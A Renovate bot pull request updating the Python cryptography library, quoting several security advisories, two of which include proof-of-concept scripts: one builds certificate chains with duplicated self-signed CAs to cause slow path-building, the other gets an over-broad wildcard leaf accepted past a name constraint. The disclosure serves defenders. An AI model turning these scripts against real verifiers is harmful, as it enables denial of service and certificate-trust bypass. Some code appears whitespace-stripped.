fix(deps): update dependency cryptography to v49 [security] by renovate[bot] · Pull Request #42 · hsbc/encryption-helper-python

renovate · 2025-02-11T23:03:24Z

This PR contains the following updates:

Package	Change	Age	Confidence
cryptography (changelog)	`^43.0.0` → `^49.0.0`
cryptography (changelog)	`==43.0.1` → `==49.0.0`

Vulnerable OpenSSL included in cryptography wheels

CVE-2024-12797 / GHSA-79v4-65xg-pq4g

More information

Details

pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 42.0.0-44.0.0 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20250211.txt.

If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.

Severity

Low

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

cryptography Vulnerable to a Subgroup Attack Due to Missing Subgroup Validation for SECT Curves

CVE-2026-26007 / GHSA-r6ph-v2qm-q3c2

More information

Details

Vulnerability Summary

The public_key_from_numbers (or EllipticCurvePublicNumbers.public_key()), EllipticCurvePublicNumbers.public_key(), load_der_public_key() and load_pem_public_key() functions do not verify that the point belongs to the expected prime-order subgroup of the curve.

This missing validation allows an attacker to provide a public key point P from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as S = [victim_private_key]P via ECDH, this leaks information about victim_private_key mod (small_subgroup_order). For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.

Only SECT curves are impacted by this.

Credit

This vulnerability was discovered by:

XlabAI Team of Tencent Xuanwu Lab
Atuin Automated Vulnerability Discovery Engine

Severity

CVSS Score: 8.2 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

cryptography has incomplete DNS name constraint enforcement on peer names

CVE-2026-34073 / GHSA-m959-cc7f-wv43

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Details

Summary

In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com.

This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead.

In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity.

See CVE-2025-61727 for a similar bypass in Go's crypto/x509.

Remediation

Users should upgrade to 46.0.6 or newer.

Attribution

Reporter: @1seal

Severity

CVSS Score: 1.7 / 10 (Low)
Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Vulnerable OpenSSL included in cryptography wheels

GHSA-537c-gmf6-5ccf

More information

Details

pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.

If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

python-cryptography: Duplicate self-signed intermediates can cause exponential path-building

CVE-2026-69249 / GHSA-jwv3-5hgf-82ww

More information

Details

Summary

When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.

This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.

Details

The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates.

fnbuild_chain_inner(
&self,
working_cert: &VerificationCertificate<'chain, B>,
current_depth: u8,
working_cert_extensions: &Extensions<'chain>,
name_chain: NameChain<'_, 'chain>,
budget: &mutBudget,
) ->ValidationResult<'chain, Chain<'chain, B>, B> {
ifletSome(nc) =working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {
name_chain.evaluate_constraints(&nc.value()?, budget)?;
}
//Lookinthestore'srootsettoseeiftheworkingcertislisted.
//Ifitis, we'vereachedtheend.
ifself.store.contains(working_cert) {
returnOk(vec![working_cert.clone()]);
}
//Checkthatourcurrentdepthdoesnotexceedourpolicy-configured//maxdepth. Wedothisaftertherootsetcheck, sincethedepth//onlymeasurestheintermediatechain'slength, nottherootorleaf.
ifcurrent_depth>self.policy.max_chain_depth {
returnErr(ValidationError::new(ValidationErrorKind::Other(
"chain construction exceeds max depth".into(),
)));
}
//Otherwise, wecollectalistofpotentialissuersforthiscert,
//andcontinuewiththefirstthatverifies.
letmutlast_err: Option<ValidationError<'_, B>>=None;
forissuing_cert_candidateinself.potential_issuers(working_cert) {
//Acandidateissuerissaidtoverifyifitboth//signsfortheworkingcertificateandconformstothe//policy.
letissuer_extensions=issuing_cert_candidate.certificate().extensions()?;
matchself.policy.valid_issuer(
issuing_cert_candidate,
working_cert,
current_depth,
&issuer_extensions,
) {
Ok(_) => {
matchself.build_chain_inner(

A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.

letmut seen_valid_issuers = Vec::<&VerificationCertificate<'chain,B>>::new();for issuing_cert_candidate inself.potential_issuers(working_cert){...Ok(_) => {if seen_valid_issuers.contains(&issuing_cert_candidate){continue;}
seen_valid_issuers.push(issuing_cert_candidate);matchself.build_chain_inner(
issuing_cert_candidate,// NOTE(ww): According to RFC 5280, we should only

In testing, this fix removed the exponential blowup without breaking apparent correctness.

duplicates,max_depth,result,seconds
1,7,rejected,0.000464 -> 1,7,rejected,0.000667
2,7,rejected,0.025154 -> 2,7,rejected,0.001229
3,7,rejected,0.489924 -> 3,7,rejected,0.001619 4,7,rejected,4.309403 -> 4,7,rejected,0.002144
3,8,rejected,1.468193 -> 3,8,rejected,0.001811
4,8,timeout>5s, -> 4,8,rejected,0.002410
5,7,timeout>5s, -> 5,7,rejected,0.002640
6,6,timeout>5s, -> 6,6,rejected,0.002829

PoC

The following script benchmarks processing times for malicious cert chains.

importdatetimeimportmultiprocessingimporttimeimportcryptographyfromcryptographyimportx509fromcryptography.hazmat.primitivesimporthashesfromcryptography.hazmat.primitives.asymmetricimportecfromcryptography.x509.oidimportExtendedKeyUsageOID, NameOIDfromcryptography.x509.verificationimport (
DNSName,
PolicyBuilder,
Store,
VerificationError,
)
NOW=datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
TIMEOUT=5CA_KEY_USAGE=x509.KeyUsage(
digital_signature=True,
content_commitment=False,
key_encipherment=False,
data_encipherment=False,
key_agreement=False,
key_cert_sign=True,
crl_sign=True,
encipher_only=False,
decipher_only=False,
)
EE_KEY_USAGE=x509.KeyUsage(
digital_signature=True,
content_commitment=False,
key_encipherment=False,
data_encipherment=False,
key_agreement=False,
key_cert_sign=False,
crl_sign=False,
encipher_only=False,
decipher_only=False,
)
defname(common_name):
returnx509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])
defbase_builder(subject, issuer, public_key, serial):
return (
x509.CertificateBuilder()
.subject_name(subject)
.issuer_name(issuer)
.public_key(public_key)
.serial_number(serial)
.not_valid_before(NOW-datetime.timedelta(days=1))
.not_valid_after(NOW+datetime.timedelta(days=30))
)
defmake_ca(common_name, serial):
private_key=ec.generate_private_key(ec.SECP256R1())
subject=name(common_name)
cert= (
base_builder(subject, subject, private_key.public_key(), serial)
.add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
.add_extension(CA_KEY_USAGE, True)
.add_extension(
x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),
False,
)
.sign(private_key, hashes.SHA256())
)
returnprivate_key, certdefmake_leaf(issuer_key, issuer_cert):
private_key=ec.generate_private_key(ec.SECP256R1())
return (
base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100)
.add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
.add_extension(EE_KEY_USAGE, True)
.add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
.add_extension(
x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),
False,
)
.add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
.sign(issuer_key, hashes.SHA256())
)
defbuild_material():
looping_key, looping_ca=make_ca("looping self-signed CA", 1)
_, unrelated_root=make_ca("unrelated trust anchor", 2)
leaf=make_leaf(looping_key, looping_ca)
returnleaf, looping_ca, unrelated_rootdefverify_case(duplicates, max_depth, queue):
leaf, looping_ca, unrelated_root=build_material()
verifier= (
PolicyBuilder()
.store(Store([unrelated_root]))
.time(NOW)
.max_chain_depth(max_depth)
.build_server_verifier(DNSName("example.com"))
)
start=time.perf_counter()
try:
verifier.verify(leaf, [looping_ca] *duplicates)
result="accepted"exceptVerificationError:
result="rejected"queue.put((result, time.perf_counter() -start))
defrun_case(duplicates, max_depth):
queue=multiprocessing.Queue()
process=multiprocessing.Process(
target=verify_case,
args=(duplicates, max_depth, queue),
)
process.start()
process.join(TIMEOUT)
ifprocess.is_alive():
process.terminate()
process.join()
print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,")
returnresult, elapsed=queue.get()
print(f"{duplicates},{max_depth},{result},{elapsed:.6f}")
if__name__=="__main__":
print("duplicates,max_depth,result,seconds")
forcasein [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:
run_case(*case)

Impact

This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.

Severity

CVSS Score: 8.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

CVE-2026-69248 / GHSA-m2h6-j472-rp4c

More information

Details

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC


#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.
Setup:
Sub-CA permitted constraint: dNSName = foo.example.com
Leaf SAN: dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)
now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)
def build(subject, issuer, key, issuer_key, ca, exts=()):
b = (x509.CertificateBuilder()
.subject_name(subject).issuer_name(issuer)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(now - 30 * day)
.not_valid_after(now + 3650 * day)
.add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
for e, c in exts:
b = b.add_extension(e, c)
return b.sign(issuer_key, hashes.SHA256())
##### Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)
##### Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
permitted_subtrees=[x509.DNSName("foo.example.com")],
excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])
##### Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])
##### Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
PolicyBuilder()
.store(Store([root]))
.time(now)
.extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
.build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
v.verify(leaf, [sub])
print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
print(f"EXPECTED: VerificationError: {e}")

Impact

Acceptance of invalid certificate chain.

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

pyca/cryptography (cryptography)

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Vulnerable OpenSSL included in cryptography wheels

Details

Severity

References

cryptography Vulnerable to a Subgroup Attack Due to Missing Subgroup Validation for SECT Curves

Details

Vulnerability Summary

Credit

Severity

References

cryptography has incomplete DNS name constraint enforcement on peer names

Details

Summary

Remediation

Attribution

Severity

References

Vulnerable OpenSSL included in cryptography wheels

Details

Severity

References

python-cryptography: Duplicate self-signed intermediates can cause exponential path-building

Details

Summary

Details

PoC

Impact

Severity

References

python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

Details

Summary

PoC

Impact

Severity

References

Release Notes

Configuration

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⚠️ Artifact update problem

File name: poetry.lock

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